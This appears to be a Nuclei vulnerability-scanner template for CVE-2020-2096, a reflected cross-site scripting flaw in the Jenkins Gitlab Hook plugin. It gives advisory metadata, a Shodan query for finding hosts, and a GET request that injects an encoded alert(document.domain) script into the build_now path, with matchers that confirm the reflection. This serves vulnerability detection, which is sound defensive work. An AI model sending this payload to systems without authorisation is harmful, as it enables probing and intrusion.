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id : CVE-2020-2096
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info :
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name : Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
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author : madrobot
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severity : medium
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description : Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
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remediation : |
Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
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reference :
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- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
- http://www.openwall.com/lists/oss-security/2020/01/15/1
- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-2096
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2020-2096
cwe-id : CWE-79
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epss-score : 0.96965
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epss-percentile : 0.99675
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cpe : cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
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metadata :
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max-request : 1
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vendor : jenkins
product : gitlab_hook
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framework : jenkins
shodan-query : http.title:"GitLab"
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tags : cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm
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http :
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- method : GET
path :
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- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition : and
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matchers :
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- type : word
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part : body
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words :
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- "</script><script>alert(document.domain)</script>"
- type : word
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part : header
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words :
- text/html
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- type : status
status :
- 200
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# digest: 4a0a00473045022100916d766c9b4c17a9e85e50fae6036b8a3d1176d96d9d215cb67d1d8cbcc5f0d602200fd0b0ac636d7c89b8ed8239146732dbaede1defa5839fbf17f548cd021b6b5c:922c64590222798bb761d5b6d8e72950